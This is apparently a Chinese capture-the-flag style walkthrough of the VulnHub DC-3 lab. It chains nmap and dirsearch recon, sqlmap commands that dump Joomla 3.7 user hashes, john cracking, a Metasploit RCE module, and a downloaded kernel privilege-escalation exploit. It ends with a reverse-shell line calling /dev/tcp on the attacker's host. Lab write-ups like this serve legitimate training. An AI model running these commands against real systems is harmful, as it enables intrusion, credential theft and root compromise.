攻击机(kali): 192.168.189.148
靶机(ubuntu16.04): 192.168.189.182
靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/
1、使用nmap扫描存活主机
2、发现IP192.168.189.182开放80端口,再对其进行nmap扫描
nmap -sV -A -T4 192.168.189.182
3、通过扫描结果我们发现其指纹信息为joomla,访问其80端口
4、使用dirsearch对其进行目录扫描
dirsearch -u http://192.168.189.182/ -e php
5、发现后台为/administrator,并且在readme.txt文件中发现joomla版本为3.7
1、本来是想直接用msf来进行漏洞利用,但是这个靶机msf中的漏洞模块都不能进行直接的利用
2、然后我在exploitdb中搜索到了joomla3.7.0版本相关的漏洞
3、在对应的文件中我们发现了漏洞利用的payload
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
4、直接上sqlmap
爆数据库名
sqlmap -u "http://192.168.189.182/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.189.182/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
爆列名
sqlmap -u "http://192.168.189.182/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T users --columns -p list[fullordering]
爆数据
sqlmap -u "http://192.168.189.182/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password --dump -p list[fullordering]
5、这里我们获得了一个账号密码,但由于密码是加密的,需要对其进行解密,我们可以利用john来进行破解
john pass
6、得到密码为snoopy,我们使用账号和密码登录后台
7、在之前用msf进行漏洞利用时,虽然失败了,但是其中有个漏洞模块在利用失败后提示
Exploit aborted due to failure: unknown: 192.168.189.182:80: No logged-in Administrator or Super User user found!
攻击因失败而中止:未知:192.168.189.182:80:未找到登录的管理员或超级用户!
那现在我们已经登录了管理员账号是不是就可以直接进行利用了呢?
8、利用MSF进行漏洞利用,并成功收到反弹会话(nice!)
use exploit/unix/webapp/joomla_comfields_sqli_rce
set rhosts 192.168.189.182
run
DC-3靶机只有一个flag,并且是在/root目录下,所以我们还是得进行提权(根据网站首页的提示就知道需要提权!)
1、在SUID,脏牛等漏洞利用失败后,想到了利用系统漏洞提权
利用python起一个交互式页面
python -c "import pty;pty.spawn('/bin/bash')"
收集系统信息
cat /proc/version #查看内核版本信息
2、搜索对应版本的漏洞
searchsploit ubuntu 16.04
3、查看其exp(39772.txt)
4、给出了exp下载地址及其利用方法,将exp下载到kali,使用msf将其上传到靶机
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
uzip 39772.zip
5、上传成功之后,在靶机执行该exp
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
5、成功拿到root权限
6、成功拿到flag
在我们登录了网站后台之后,也可以直接反弹一个shell到我们的kali
1、创建一个反弹shell的文件
& /dev/tcp/192.168.189.148/8888 0>&1' ");
?>
2、在kali开启监听,访问该文件即可收到反弹shell
3、拿到shell,后续就是同样的操作了。